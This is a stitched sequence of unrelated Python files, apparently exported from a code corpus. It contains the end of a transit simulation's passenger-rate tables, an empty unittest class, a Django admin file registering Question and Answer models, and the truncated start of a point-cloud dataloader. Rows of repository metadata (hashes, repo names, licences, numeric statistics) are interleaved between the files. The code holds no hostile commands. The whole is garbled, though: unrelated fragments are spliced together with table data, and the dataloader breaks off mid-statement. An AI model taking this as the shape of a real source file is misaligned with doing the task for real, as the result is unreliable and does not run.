(146, 283, 202, 99, 51, 0, 218, 272, 180, 133, 68, 0), # 53
(149, 288, 208, 101, 51, 0, 220, 280, 186, 136, 68, 0), # 54
(154, 296, 215, 102, 53, 0, 222, 284, 188, 141, 70, 0), # 55
(155, 302, 222, 104, 55, 0, 224, 290, 193, 143, 70, 0), # 56
(159, 305, 226, 107, 56, 0, 227, 293, 196, 143, 71, 0), # 57
(162, 308, 230, 107, 57, 0, 230, 298, 200, 144, 72, 0), # 58
(162, 308, 230, 107, 57, 0, 230, 298, 200, 144, 72, 0), # 59
)
passenger_arriving_rate = (
(2.1197212467076385, 4.349734848484848, 3.837233290488432, 2.0276086956521735, 1.1428846153846153, 0.0, 3.805434782608696, 4.571538461538461, 3.0414130434782605, 2.5581555269922878, 1.087433712121212, 0.0), # 0
(2.13961760803824, 4.398106623176207, 3.8579594580119974, 2.038900603864734, 1.1514506410256409, 0.0, 3.8041377113526575, 4.6058025641025635, 3.0583509057971017, 2.5719729720079982, 1.0995266557940517, 0.0), # 1
(2.159286781777387, 4.445760897867564, 3.8781936589545842, 2.049943961352657, 1.1598358974358973, 0.0, 3.802800966183575, 4.639343589743589, 3.0749159420289858, 2.585462439303056, 1.111440224466891, 0.0), # 2
(2.178712071992976, 4.49264625, 3.897921111825193, 2.0607293478260864, 1.1680326923076925, 0.0, 3.80142472826087, 4.67213076923077, 3.09109402173913, 2.5986140745501287, 1.1231615625, 0.0), # 3
(2.1978767827529024, 4.53871125701459, 3.9171270351328187, 2.071247342995169, 1.1760333333333335, 0.0, 3.800009178743961, 4.704133333333334, 3.106871014492754, 2.611418023421879, 1.1346778142536476, 0.0), # 4
(2.216764218125061, 4.583904496352414, 3.9357966473864607, 2.0814885265700482, 1.183830128205128, 0.0, 3.7985544987922704, 4.735320512820512, 3.1222327898550724, 2.623864431590974, 1.1459761240881035, 0.0), # 5
(2.235357682177349, 4.628174545454545, 3.9539151670951167, 2.0914434782608695, 1.1914153846153845, 0.0, 3.7970608695652177, 4.765661538461538, 3.1371652173913045, 2.635943444730078, 1.1570436363636363, 0.0), # 6
(2.253640478977661, 4.671469981762065, 3.9714678127677807, 2.1011027777777778, 1.1987814102564105, 0.0, 3.7955284722222227, 4.795125641025642, 3.151654166666667, 2.647645208511854, 1.1678674954405162, 0.0), # 7
(2.2715959125938934, 4.7137393827160485, 3.988439802913454, 2.1104570048309177, 1.2059205128205128, 0.0, 3.7939574879227056, 4.823682051282051, 3.1656855072463768, 2.658959868608969, 1.1784348456790121, 0.0), # 8
(2.289207287093942, 4.754931325757576, 4.004816356041132, 2.119496739130435, 1.2128249999999998, 0.0, 3.7923480978260873, 4.851299999999999, 3.1792451086956524, 2.6698775706940876, 1.188732831439394, 0.0), # 9
(2.306457906545703, 4.794994388327722, 4.020582690659811, 2.1282125603864737, 1.2194871794871796, 0.0, 3.790700483091787, 4.877948717948718, 3.1923188405797105, 2.680388460439874, 1.1987485970819305, 0.0), # 10
(2.3233310750170717, 4.833877147867565, 4.035724025278491, 2.1365950483091787, 1.2258993589743588, 0.0, 3.7890148248792275, 4.903597435897435, 3.2048925724637685, 2.690482683518994, 1.2084692869668912, 0.0), # 11
(2.339810096575944, 4.8715281818181815, 4.050225578406169, 2.1446347826086956, 1.2320538461538462, 0.0, 3.787291304347826, 4.928215384615385, 3.2169521739130436, 2.700150385604113, 1.2178820454545454, 0.0), # 12
(2.355878275290215, 4.907896067620651, 4.0640725685518415, 2.152322342995169, 1.237942948717949, 0.0, 3.7855301026570047, 4.951771794871796, 3.2284835144927535, 2.7093817123678945, 1.2269740169051628, 0.0), # 13
(2.371518915227783, 4.94292938271605, 4.077250214224507, 2.1596483091787437, 1.2435589743589741, 0.0, 3.7837314009661833, 4.9742358974358964, 3.2394724637681156, 2.7181668094830043, 1.2357323456790126, 0.0), # 14
(2.3867153204565406, 4.976576704545454, 4.089743733933161, 2.166603260869565, 1.2488942307692308, 0.0, 3.781895380434783, 4.995576923076923, 3.2499048913043476, 2.726495822622107, 1.2441441761363634, 0.0), # 15
(2.401450795044386, 5.008786610549944, 4.101538346186804, 2.1731777777777777, 1.2539410256410255, 0.0, 3.7800222222222226, 5.015764102564102, 3.2597666666666667, 2.734358897457869, 1.252196652637486, 0.0), # 16
(2.415708643059214, 5.039507678170594, 4.11261926949443, 2.1793624396135267, 1.2586916666666665, 0.0, 3.778112107487923, 5.034766666666666, 3.2690436594202903, 2.7417461796629534, 1.2598769195426485, 0.0), # 17
(2.4294721685689202, 5.068688484848485, 4.122971722365039, 2.185147826086957, 1.2631384615384618, 0.0, 3.7761652173913043, 5.052553846153847, 3.277721739130435, 2.7486478149100257, 1.2671721212121212, 0.0), # 18
(2.4427246756414007, 5.096277608024691, 4.132580923307627, 2.190524516908212, 1.267273717948718, 0.0, 3.7741817330917877, 5.069094871794872, 3.2857867753623187, 2.7550539488717507, 1.2740694020061727, 0.0), # 19
(2.455449468344552, 5.122223625140291, 4.141432090831191, 2.1954830917874397, 1.2710897435897435, 0.0, 3.772161835748792, 5.084358974358974, 3.29322463768116, 2.7609547272207933, 1.2805559062850727, 0.0), # 20
(2.467629850746269, 5.146475113636362, 4.149510443444731, 2.2000141304347824, 1.2745788461538459, 0.0, 3.7701057065217394, 5.0983153846153835, 3.300021195652174, 2.76634029562982, 1.2866187784090906, 0.0), # 21
(2.479249126914447, 5.168980650953984, 4.156801199657241, 2.2041082125603864, 1.277733333333333, 0.0, 3.7680135265700487, 5.110933333333332, 3.3061623188405798, 2.7712007997714934, 1.292245162738496, 0.0), # 22
(2.4902906009169836, 5.1896888145342315, 4.163289577977721, 2.207755917874396, 1.2805455128205128, 0.0, 3.765885477053141, 5.122182051282051, 3.3116338768115945, 2.7755263853184804, 1.2974222036335579, 0.0), # 23
(2.5007375768217734, 5.208548181818181, 4.168960796915166, 2.210947826086956, 1.2830076923076923, 0.0, 3.763721739130435, 5.132030769230769, 3.3164217391304347, 2.779307197943444, 1.3021370454545453, 0.0), # 24
(2.5105733586967123, 5.225507330246913, 4.173800074978578, 2.213674516908213, 1.2851121794871794, 0.0, 3.761522493961353, 5.1404487179487175, 3.3205117753623195, 2.7825333833190515, 1.3063768325617282, 0.0), # 25
(2.5197812506096966, 5.240514837261503, 4.177792630676949, 2.2159265700483086, 1.2868512820512819, 0.0, 3.759287922705314, 5.147405128205127, 3.3238898550724634, 2.785195087117966, 1.3101287093153757, 0.0), # 26
(2.5283445566286216, 5.2535192803030295, 4.180923682519279, 2.2176945652173914, 1.2882173076923078, 0.0, 3.7570182065217397, 5.152869230769231, 3.3265418478260873, 2.787282455012853, 1.3133798200757574, 0.0), # 27
(2.5362465808213837, 5.26446923681257, 4.183178449014568, 2.2189690821256036, 1.289202564102564, 0.0, 3.7547135265700486, 5.156810256410256, 3.328453623188406, 2.7887856326763782, 1.3161173092031424, 0.0), # 28
(2.5434706272558776, 5.273313284231201, 4.184542148671808, 2.219740700483092, 1.289799358974359, 0.0, 3.752374064009662, 5.159197435897436, 3.329611050724638, 2.789694765781205, 1.3183283210578003, 0.0), # 29
(2.5500000000000003, 5.28, 4.1850000000000005, 2.22, 1.29, 0.0, 3.75, 5.16, 3.3300000000000005, 2.79, 1.32, 0.0), # 30
(2.5561096227621487, 5.285554431818181, 4.184656775362319, 2.219953169934641, 1.2899269858156028, 0.0, 3.7467010078294187, 5.159707943262411, 3.3299297549019613, 2.789771183574879, 1.3213886079545452, 0.0), # 31
(2.562087340153453, 5.2910354545454545, 4.183636811594202, 2.2198135947712414, 1.2897095035460993, 0.0, 3.7416198067632855, 5.158838014184397, 3.329720392156862, 2.7890912077294683, 1.3227588636363636, 0.0), # 32
(2.5679358375959076, 5.296442386363637, 4.181954673913044, 2.2195826470588234, 1.2893498936170211, 0.0, 3.734806146926536, 5.1573995744680845, 3.3293739705882355, 2.787969782608696, 1.3241105965909092, 0.0), # 33
(2.573657800511509, 5.3017745454545455, 4.179624927536232, 2.2192616993464056, 1.2888504964539007, 0.0, 3.7263097784441115, 5.155401985815603, 3.3288925490196086, 2.786416618357488, 1.3254436363636364, 0.0), # 34
(2.5792559143222507, 5.307031249999999, 4.176662137681159, 2.2188521241830066, 1.2882136524822696, 0.0, 3.7161804514409464, 5.152854609929078, 3.32827818627451, 2.784441425120773, 1.3267578124999997, 0.0), # 35
(2.584732864450128, 5.312211818181819, 4.173080869565217, 2.218355294117647, 1.2874417021276596, 0.0, 3.7044679160419793, 5.1497668085106385, 3.3275329411764707, 2.782053913043478, 1.3280529545454547, 0.0), # 36
(2.5900913363171356, 5.317315568181819, 4.168895688405797, 2.2177725816993465, 1.2865369858156026, 0.0, 3.691221922372147, 5.14614794326241, 3.32665887254902, 2.779263792270531, 1.3293288920454547, 0.0), # 37
(2.5953340153452684, 5.322341818181818, 4.16412115942029, 2.2171053594771237, 1.2855018439716313, 0.0, 3.676492220556388, 5.142007375886525, 3.325658039215686, 2.7760807729468597, 1.3305854545454545, 0.0), # 38
(2.600463586956522, 5.327289886363636, 4.158771847826086, 2.216355, 1.2843386170212765, 0.0, 3.66032856071964, 5.137354468085106, 3.3245325, 2.772514565217391, 1.331822471590909, 0.0), # 39
(2.60548273657289, 5.332159090909091, 4.1528623188405795, 2.2155228758169936, 1.2830496453900706, 0.0, 3.6427806929868396, 5.132198581560282, 3.3232843137254906, 2.768574879227053, 1.3330397727272727, 0.0), # 40
(2.6103941496163685, 5.336948749999999, 4.14640713768116, 2.214610359477124, 1.281637269503546, 0.0, 3.623898367482926, 5.126549078014184, 3.3219155392156865, 2.7642714251207727, 1.3342371874999996, 0.0), # 41
(2.6152005115089514, 5.3416581818181825, 4.1394208695652175, 2.2136188235294116, 1.280103829787234, 0.0, 3.6037313343328337, 5.120415319148936, 3.3204282352941177, 2.7596139130434785, 1.3354145454545456, 0.0), # 42
(2.6199045076726346, 5.346286704545454, 4.131918079710145, 2.2125496405228757, 1.2784516666666665, 0.0, 3.5823293436615025, 5.113806666666666, 3.3188244607843136, 2.754612053140096, 1.3365716761363635, 0.0), # 43
(2.624508823529412, 5.350833636363636, 4.123913333333333, 2.211404183006536, 1.2766831205673759, 0.0, 3.5597421455938694, 5.1067324822695035, 3.317106274509804, 2.7492755555555557, 1.337708409090909, 0.0), # 44
(2.6290161445012785, 5.355298295454545, 4.115421195652175, 2.2101838235294116, 1.2748005319148936, 0.0, 3.5360194902548727, 5.0992021276595745, 3.3152757352941173, 2.743614130434783, 1.3388245738636362, 0.0), # 45
(2.6334291560102305, 5.35968, 4.106456231884058, 2.2088899346405224, 1.2728062411347518, 0.0, 3.511211127769449, 5.091224964539007, 3.313334901960784, 2.7376374879227057, 1.33992, 0.0), # 46
(2.637750543478261, 5.363978068181818, 4.0970330072463765, 2.207523888888889, 1.2707025886524823, 0.0, 3.4853668082625355, 5.082810354609929, 3.3112858333333333, 2.7313553381642506, 1.3409945170454545, 0.0), # 47
(2.641982992327366, 5.368191818181819, 4.087166086956522, 2.2060870588235293, 1.268491914893617, 0.0, 3.4585362818590712, 5.073967659574468, 3.309130588235294, 2.7247773913043476, 1.3420479545454547, 0.0), # 48
(2.6461291879795397, 5.3723205681818165, 4.076870036231885, 2.2045808169934644, 1.2661765602836879, 0.0, 3.430769298683991, 5.064706241134751, 3.306871225490197, 2.7179133574879226, 1.3430801420454541, 0.0), # 49
(2.6501918158567777, 5.376363636363634, 4.066159420289855, 2.2030065359477127, 1.263758865248227, 0.0, 3.4021156088622355, 5.055035460992908, 3.3045098039215692, 2.7107729468599033, 1.3440909090909086, 0.0), # 50
(2.6541735613810746, 5.3803203409090905, 4.055048804347826, 2.2013655882352943, 1.2612411702127657, 0.0, 3.3726249625187408, 5.044964680851063, 3.3020483823529414, 2.7033658695652174, 1.3450800852272726, 0.0), # 51
(2.6580771099744247, 5.384189999999999, 4.043552753623188, 2.1996593464052285, 1.258625815602837, 0.0, 3.3423471097784443, 5.034503262411348, 3.2994890196078432, 2.695701835748792, 1.3460474999999998, 0.0), # 52
(2.6619051470588238, 5.387971931818182, 4.031685833333333, 2.197889183006536, 1.2559151418439718, 0.0, 3.3113318007662835, 5.023660567375887, 3.296833774509804, 2.6877905555555555, 1.3469929829545455, 0.0), # 53
(2.6656603580562663, 5.391665454545453, 4.019462608695652, 2.1960564705882355, 1.2531114893617021, 0.0, 3.2796287856071964, 5.0124459574468085, 3.2940847058823532, 2.6796417391304344, 1.3479163636363634, 0.0), # 54
(2.6693454283887466, 5.395269886363636, 4.006897644927536, 2.1941625816993464, 1.2502171985815602, 0.0, 3.2472878144261204, 5.000868794326241, 3.29124387254902, 2.6712650966183573, 1.348817471590909, 0.0), # 55
(2.6729630434782607, 5.398784545454545, 3.994005507246377, 2.1922088888888887, 1.247234609929078, 0.0, 3.214358637347993, 4.988938439716312, 3.2883133333333334, 2.662670338164251, 1.3496961363636362, 0.0), # 56
(2.6765158887468035, 5.402208750000001, 3.980800760869565, 2.1901967647058824, 1.2441660638297871, 0.0, 3.180891004497751, 4.9766642553191485, 3.285295147058824, 2.6538671739130435, 1.3505521875000002, 0.0), # 57
(2.6800066496163684, 5.405541818181817, 3.967297971014492, 2.188127581699346, 1.2410139007092198, 0.0, 3.1469346660003334, 4.964055602836879, 3.2821913725490197, 2.6448653140096616, 1.3513854545454542, 0.0), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_allighting_rate = (
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 0
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 1
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 2
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 3
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 4
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 5
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 6
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 7
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 8
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 9
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 10
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 11
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 12
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 13
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 14
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 15
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 16
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 17
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 18
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 19
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 20
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 21
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 22
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 23
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 24
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 25
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 26
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 27
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 28
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 29
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 30
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 31
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 32
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 33
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 34
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 35
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 36
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 37
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 38
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 39
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 40
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 41
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 42
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 43
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 44
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 45
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 46
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 47
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 48
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 49
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 50
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 51
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 52
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 53
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 54
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 55
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 56
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 57
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 58
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 59
)
"""
parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html
"""
#initial entropy
entropy = 258194110137029475889902652135037600173
#index for seed sequence child
child_seed_index = (
1, # 0
1, # 1
)
| 112.844776 | 216 | 0.728487 | 5,147 | 37,803 | 5.348358 | 0.21022 | 0.313862 | 0.248474 | 0.470793 | 0.335113 | 0.329701 | 0.329265 | 0.328756 | 0.328756 | 0.328756 | 0 | 0.818559 | 0.119409 | 37,803 | 334 | 217 | 113.182635 | 0.008381 | 0.032034 | 0 | 0.208861 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.015823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2635aa1daa7a1a210454d5e8fc9dca7b6fa31710 | 63 | py | Python | tests/test_chain.py | Ayoke/simple-py-blockchain-program | d318743d6448456aa39145e3977bfab75caa0964 | [
"MIT"
] | 79 | 2018-03-12T08:05:26.000Z | 2022-03-12T22:29:24.000Z | tests/test_chain.py | Ayoke/simple-py-blockchain-program | d318743d6448456aa39145e3977bfab75caa0964 | [
"MIT"
] | null | null | null | tests/test_chain.py | Ayoke/simple-py-blockchain-program | d318743d6448456aa39145e3977bfab75caa0964 | [
"MIT"
] | 18 | 2018-03-13T12:57:35.000Z | 2021-06-05T15:42:00.000Z | import unittest
class TestChain(unittest.TestCase):
pass
| 10.5 | 35 | 0.761905 | 7 | 63 | 6.857143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174603 | 63 | 5 | 36 | 12.6 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
2664c817d15259cca23b6839c61cc8482c807f64 | 176 | py | Python | blogposts/admin.py | prithaupadhyay/code-talk | 1140e78d128c7cf7f7cf08039f3310bcd7cf0a52 | [
"MIT"
] | null | null | null | blogposts/admin.py | prithaupadhyay/code-talk | 1140e78d128c7cf7f7cf08039f3310bcd7cf0a52 | [
"MIT"
] | null | null | null | blogposts/admin.py | prithaupadhyay/code-talk | 1140e78d128c7cf7f7cf08039f3310bcd7cf0a52 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Question
from .models import Answer
# Register your models here
admin.site.register(Question)
admin.site.register(Answer)
| 22 | 32 | 0.818182 | 25 | 176 | 5.76 | 0.48 | 0.138889 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113636 | 176 | 7 | 33 | 25.142857 | 0.923077 | 0.142045 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f825c1b20823c192400c7adcb78cece1fa5696f6 | 17,634 | py | Python | dataloader.py | mikacuy/point2cyl | a1213900e7a65fe1272e1f2159de14ba3b894502 | [
"MIT"
] | null | null | null | dataloader.py | mikacuy/point2cyl | a1213900e7a65fe1272e1f2159de14ba3b894502 | [
"MIT"
] | null | null | null | dataloader.py | mikacuy/point2cyl | a1213900e7a65fe1272e1f2159de14ba3b894502 | [
"MIT"
] | null | null | null | # Mikaela Uy (mikacuy@cs.stanford.edu)
import os, sys
import json
import numpy as np
from torch.utils.data import Dataset
import torch
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
sys.path.append(BASE_DIR) # model
sys.path.append(os.path.join(BASE_DIR, '..','data_preprocessing'))
from global_variables import *
from utils import *
from data_utils import *
class AutodeskDataset_h5(Dataset):
def __init__(self, filename, num_points, max_instances, op=False, center=False, extent=False):
if not extent:
if op and not center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations = load_h5(filename, op=True)
elif not op and center:
